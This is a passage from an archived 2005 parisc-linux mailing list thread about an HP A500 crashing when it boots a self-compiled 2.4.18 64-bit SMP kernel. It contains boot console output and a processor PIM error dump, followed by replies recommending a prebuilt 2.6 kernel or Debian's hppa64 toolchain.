  with vmlinux being a symlink to vmlinux-2.4.18.
- The System.map and .config are placed on my webserver at:
  http://www.holthausworld.us/System.map-2.4.18
  http://www.holthausworld.us/2.4.18.config

Console output is this:

Trying Primary Boot Path
------------------------
Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.0 root@palinux Mon Apr  1 10:02:53 MST 2002

Partition Start(MB) End(MB) Id Type
1               1      31   f0 Palo
2              32     126   83 ext2
3           15460   17366   82 swap
4             127   15459   83 ext2

PALO(F0) partition contains:
    0/vmlinux64 4719374 bytes @ 0x44000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102
palo_ke'
Selected kernel: /vmlinux from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2075328 mediaptr 0x1000
Segment 1 load 002fc000 size 852864 mediaptr 0x1fc000
Segment 2 load 003d0000 size 458752 mediaptr 0x2cd000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


************* SYSTEM ALERT **************
SYSTEM NAME: uninitialized
DATE: 04/18/2005 TIME: 19:10:21
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         OFF       OFF        ON
LED State: Running non-OS code.  Non-critical error detected.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
0x5800087000FF6292 00006903 12130A15 - type 11 = Timestamp 04/18/2005
19:10:21
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:a
*****************************************



Console reset done.

Boot device reset done.

------------------------------------------------------

After a reset, ser pim shows this:

Main Menu: Enter command or menu > ser pim


PROCESSOR PIM INFORMATION

Original Product Number:   A5570B
Current Product Number:    A5570B


-----------------  Processor 0 HPMC Information - PDC Version: 43.50  ------

Timestamp =    Mon Apr  18 19:10:21 GMT 2005    (20:05:04:18:19:10:21)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0x0000082000ff6242  0x0000000000000000
       0x1800082011006312  0xcb81000000000000
       0x0000087000ff6292  0x000000f0f0000000
       0x6000082070006062  0x0000000000100010
       0x7000082070006082  0x0000000000b92400
       0x7000082379006133  0xc1bff0fffed08040
       0x0000080080006310  0x0000000000000001
       0x000008008000631f  0x0000000000000000
       0x0000082000ff6452  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000
       0x0000080080006300  0x0000000000000001
       0x7000082382006343  0x0000000000070200
       0x7000082483ff6353  0x00000000005a0200
       0x2000082483ff6353  0x000000ffff04ff83
       0x7000082382026343  0x0000000000070200
       0x7000082382046343  0x0000000000070200
       0x0000080089006200  0x0000000000000000
       0x0000080086006200  0x0000000000000000
       0x000008008000630f  0x0000000000000000


General Registers 0 - 31
00-03  0000000000000000  000000000000d580  000000000000c2b0  0000000000450248
04-07  fffffffff8000000  0000000000000000  0000000000450300  0000000000000000
08-11  0000000000000001  0000000000000060  0000000000450248  0000000000000000
12-15  0000000000450300  0000000000000001  0000000000454808  00000000000000ff
16-19  0000000000000000  00000000f000024c  0000000010454700  fffffffff8000005
20-23  0000000000450300  0000000000000003  0000000000000190  0000000000000001
24-27  0000000000450300  0000000000450248  fffffffff8000000  000000000000d730
28-31  00000000103be6b0  0000000000454908  00000000004549e8  0000000000000020


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  00000000000000c0  0000000000000004
12-15  0000000000000000  0000000000000000  0000000000105000  0000000000000000
16-19  00000010db47fee8  0000000000000000  000000000000c3dc  000000000e601027
20-23  00000000ae07ffe0  c000000000000005  0000000008000008  8000000000000000
24-27  0000000000353000  0000000000353000  ff7fffffffffffff  ff7fffffffffffff
28-31  ff7fffffffffffff  ff7fffffffffffff  0000000010434000  0000000010438000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000000000c3e0
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fff8000005
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  0010080000000000  0000000000000000  0000000000000000  0000000000000000
04-07  00000000103aa038  0000000000000001  0000000000000000  0000000017c86000
08-11  000000000800000f  00000000104e36a8  000000001040f1e0  0000000017cc26c0
12-15  0000000000004000  0000000000000000  000000001016b2c8  000000000804000e
16-19  00000000103aa038  0000000000000002  0000000000000002  000000001040f1e0
20-23  000000001040f1e0  0000000000000802  0000000000000000  0000000000000000
24-27  834e0b5f17c86000  0000000000000000  000000001040f1e0  000000001040f1e0
28-31  0000000000000802  00000000103dd2c0  0000000010157288  0000000000000002


Check Summary                = 0xcb81000000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301000100002004
CPU Status Register 0        = 0x2440c20000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0x002000010301f900
Read Short LOG               = 0xc18040fff8000005



-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000



-----------------  Processor 1 HPMC Information - PDC Version: 43.50  ------

Timestamp =    Mon Apr  18 19:10:21 GMT 2005    (20:05:04:18:19:10:21)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0x0000082000ff6242  0x0000000000000000
       0x1800082011016322  0xc381800000000000
       0x0000082000ff6412  0x0000000000000000
       0x0000082000ff6402  0x0000000000000000


General Registers 0 - 31
00-03  0000000000000000  00000010db409f38  0000000000000000  00000000000000f7
04-07  000000000000174f  fffffff0f040a000  000000000000003e  00000000000000f7
08-11  0000000000000000  fffffff0f0400000  00000000000000f6  00000000000000fe
12-15  00000000000000f2  0000000000000001  00000000000000f0  00000000000000ff
16-19  000000f0f00000a4  fffffff0f040c000  0000000000000000  0000000000000000
20-23  0000000000000001  00000000000000fa  fffffff0f0400000  0000000000000000
24-27  00000000000000f9  0000000000000000  000018001001c400  000000f0f0167a30
28-31  0000000000000000  000000f0f040a938  000000f0f040a738  3031323334353637


Control Registers 0 - 31
00-03  000000007fffffff  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0007ffff0007ffff  1217ffff480fffff  0000000000000000  0000000000000017
12-15  0007ffff0007ffff  4407ffff08efffff  000000f0f0006800  0000000000000000
16-19  00000010db47f492  00000000ffffffff  00000000000006f8  00000000c402ff2d
20-23  000000009207c3c1  000000000280a8c0  000000ff0800fe08  0000000000000000
24-27  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
28-31  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff

Space Registers 0 - 7
00-03  ffffffff          ffffffff          ffffffff          ffffffff
04-07  ffffffff          ffffffff          ffffffff          ffffffff


IIA Space (back entry)       = 0x00000000ffffffff
IIA Offset (back entry)      = 0x00000000000006fc
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa2000
System Requestor Address     = 0xfffffffffffa0000


Floating Point Registers 0 - 31
00-03  fff60ff7e0fdf61f  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
04-07  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
08-11  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
12-15  ffffffffffffffff  fbfffcf87b1ef697  fffffffaffffffff  ffffffffffffffff
16-19  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffe88c4a82
20-23  ffffffff779ab695  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
24-27  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff
28-31  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff  ffffffffffffffff


Check Summary                = 0xc381800000000000
Available Memory             = 0x0000000100000000
CPU Diagnose Register 2      = 0x0301010180002000
CPU Status Register 0        = 0x3040000000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x4800000000000000
Read Short LOG               = 0xc1bff0f0f0400000



-----------------  Processor 1 LPMC Information ------------------

Check Type                   = 0x00000000
IC Parity Info               = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000



-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000


Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31  0000000000000000  0000000000000000  0000000000000000  0000000000000000

Space Registers 0 - 7
00-03  00000000          00000000          00000000          00000000
04-07  00000000          00000000          00000000          00000000

IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x0000000000000000
CPU State                    = 0x00000000


--------------  Memory Error Log Information  --------------

Bus 0 Log Information

Timestamp =    Mon Apr  18 19:10:22 GMT 2005    (20:05:04:18:19:10:22)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
  X       X     ERR_ERROR       X            X

Bus Requestor Address      = 0xfffffffffffa0000
Bus Target Address         = 0x0000000000000000
Bus Responder Address      = 0xfffffffffed00000

Error Status Reg           = 0x0000000000100010
Runway Control Reg         = 0x0000021c00001418
Runway Address Reg         = 0xc1bff0fffed08040
Runway Data High Reg       = 0xe840c000083c025c
Runway Data Low Reg        = 0xe840c000083c025c
Memory Address Reg         = 0x000001ff3fffffff
Memory Address Corr Reg    = 0x000001ff3fffffff
Memory Syndrome Reg        = 0x0000000000000000
Memory Syndrome Corr Reg   = 0x0000000000000000



 Address/Control Parity Error Registers

   Address/Control Parity Error Bit (mem_addr_par_stat) Not Set



------------  I/O Module Error Log Information  ------------

Summary of IO subsystem log entries
-----------------------------------
                        Phys Loc             Vendor  Device   Severity
Description             (hex)                 Id      Id      CORR UNC FE  CW
-----------             -----                ------  ------  
----------------
System Bus Adapter RP  0x000000ffff04ff83   0x103c  0x1051              X
Local Bus Adapter  P   0x000000ffff04ff83   0x103c  0x1054              X
System Bus Adapter RP  0x000000ffff01ff83   0x103c  0x1051              X
System Bus Adapter RP  0x000000ffff02ff83   0x103c  0x1051              X


Detail display of IO subsystem log entries
------------------------------------------

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Mon Apr  18 19:10:22 GMT 2005    (20:05:04:18:19:10:22)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff04ff83

Local Bus Adapter  --        PCI Interface
------------------------------------------

Timestamp =    Mon Apr  18 19:10:22 GMT 2005    (20:05:04:18:19:10:22)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
      X        ERR_TIMEOUT                       X

IO Requestor Address    = 0xfffffffffed30000
IO Target Address       = 0x00000000f8000004
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffff04ff83
IO Hardware Path        = 0x00ffffffffff0000

Module Error Register   = 0x000000000000001c

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Mon Apr  18 19:10:22 GMT 2005    (20:05:04:18:19:10:22)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff01ff83

System Bus Adapter --       Rope Interface
------------------------------------------

Timestamp =    Mon Apr  18 19:10:22 GMT 2005    (20:05:04:18:19:10:22)

  OV  RQ  RS      ESTAT      A  C  D  corr  unc  fe  cw  pf
  --  --  --      -----      -  -  -  ----  ---  --  --  --
               ERR_FUNCTION                      X

IO Requestor Address    = 0x0000000000000000
IO Target Address       = 0x0000000000000000
IO Responder Address    = 0x0000000000000000
IO Physical Location    = 0x000000ffffffff82
IO Hardware Path        = 0x00ffffffffffff00

Module Error Register   = 0x0000000000000000
Rope Physical Location  = 0x000000ffff02ff83

--------------------------------------------------------------

Not being a developer, all these numbers don't mean anything to me. Does
anybody have an idea what the problem might be?

I experienced similar behavior just using the standard Debian
kernel-image-2.4.18-64-smp (although I didn't do the ser pim stuff yet -
might be better to attack one problem at a time, no?)

Thanks so much,

   Kai Holthaus
   kmh.AT.sonic.net


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500: 2.4.18 64bit SMP Kernel Crash
Date: Mon, 18 Apr 2005 21:06:31 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20050419040631.GD19715@tausq.org>
References: <19310.64.142.78.25.1113877145.squirrel@webmail.sonic.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623755 13874 80.91.229.3 (22 Nov 2014 02:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kai Holthaus <kmh@sonic.net>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Apr 2005 04:06:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 19 Apr 2005 06:06:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2BDA7D666;
	Mon, 18 Apr 2005 22:06:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29587-08; Mon, 18 Apr 2005 22:06:40 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AC6E7D667;
	Mon, 18 Apr 2005 22:06:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70BC27D664
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Apr 2005 22:06:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29523-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Apr 2005 22:06:36 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id E87847D659
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 18 Apr 2005 22:06:35 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 48343111FDF; Mon, 18 Apr 2005 21:06:31 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <19310.64.142.78.25.1113877145.squirrel@webmail.sonic.net>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iuYWYlsFeSE57L6WZHQhaXN2IGRvbwCc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22620

> So, I installed the 2.4.18-hppa kernel sources, and built my own kernel.
> However, the box wouldn't boot that kernel; instead it'd crash right after
> the IPL part of PALO would try to load the kernel image.
> 
> - I used the gcc-hppa64-3.0.4ds9-3-hppa.deb gcc compiler, along with the
> binutils-2.11.90.0.18-o.deb package off
> ftp.parisc-linux.org/unofficial-debs to compile

Can you try a prebuilt a500 kernel? Something from
http://cvs.parisc-linux.org/download/linux-2.6/

Perhaps:
http://cvs.parisc-linux.org/download/linux-2.6/autobuild/a500_defconfig/palinux-a500-defconfig-2.6.12-rc2-pa3_0-2_all.deb

If you want to build it from source, I would suggest that you:
- upgrade to "testing" from woody
- install gcc-3.3-hppa64 and binutils-hppa64 (from Debian, not
  from unofficial-debs)
- Get the sources from
  http://cvs.parisc-linux.org/download/linux-2.6/linux-2.6.12-rc2-pa3.tar.bz2

  Or directly from cvs: http://www.parisc-linux.org/faq/cvs.html

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500: 2.4.18 64bit SMP Kernel Crash
Date: Tue, 19 Apr 2005 09:23:21 +0300
Lines: 44
Approved: news@gmane.org
Message-ID: <20050419072321.7088C3658F2@mail.esiee.fr>
References: <20050419040631.GD19715@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623755 13882 80.91.229.3 (22 Nov 2014 02:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Apr 2005 07:23:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 19 Apr 2005 09:23:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA20B7D666;
	Tue, 19 Apr 2005 01:23:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30677-07; Tue, 19 Apr 2005 01:23:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E8757D669;
	Tue, 19 Apr 2005 01:23:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E6FE7D664
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Apr 2005 01:23:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30700-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Apr 2005 01:23:27 -0600 (MDT)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id F13F67D663
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Apr 2005 01:23:26 -0600 (MDT)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP id 0B0033658F4;
	Tue, 19 Apr 2005 09:23:25 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 7088C3658F2;
	Tue, 19 Apr 2005 09:23:21 +0200 (CEST)
User-Agent: IMHO/0.99 (Webmail for Roxen)
In-Reply-To: <20050419040631.GD19715@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rdQWYjRKeSE57L6WZHQhaXN2IGRvb8Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22621

-------------------
> > So, I installed the 2.4.18-hppa kernel sources, and built my own
kernel.
> > However, the box wouldn't boot that kernel; instead it'd crash
right after
> > the IPL part of PALO would try to load the kernel image.
> >=20
> > - I used the gcc-hppa64-3.0.4ds9-3-hppa.deb gcc compiler, along
with the
> > binutils-2.11.90.0.18-o.deb package off
> > ftp.parisc-linux.org/unofficial-debs to compile
>=20
> Can you try a prebuilt a500 kernel? Something from
> http://cvs.parisc-linux.org/download/linux-2.6/
>=20
> Perhaps:
>
http://cvs.parisc-linux.org/download/linux-2.6/autobuild/a500_defconfi
g/palinux-a500-defconfig-2.6.12-rc2-pa3_0-2_all.deb
>=20
> If you want to build it from source, I would suggest that you:
> - upgrade to "testing" from woody
> - install gcc-3.3-hppa64 and binutils-hppa64 (from Debian, not
>   from unofficial-debs)
> - Get the sources from
> =20
http://cvs.parisc-linux.org/download/linux-2.6/linux-2.6.12-rc2-pa3.ta
r.bz2
>=20
>   Or directly from cvs: http://www.parisc-linux.org/faq/cvs.html

Beware that it is likely that your SCSI devices will be renamed (eg
sda -> sdb)

--=20
Thibaut VARENE
Debian, Ubuntu and Kernel hacker
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kai Holthaus" <kmh@sonic.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A500: 2.4.18 64bit SMP Kernel Crash
Date: Tue, 19 Apr 2005 14:06:15 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <13566.64.142.78.25.1113944775.squirrel@webmail.sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623755 13889 80.91.229.3 (22 Nov 2014 02:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Apr 2005 21:06:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
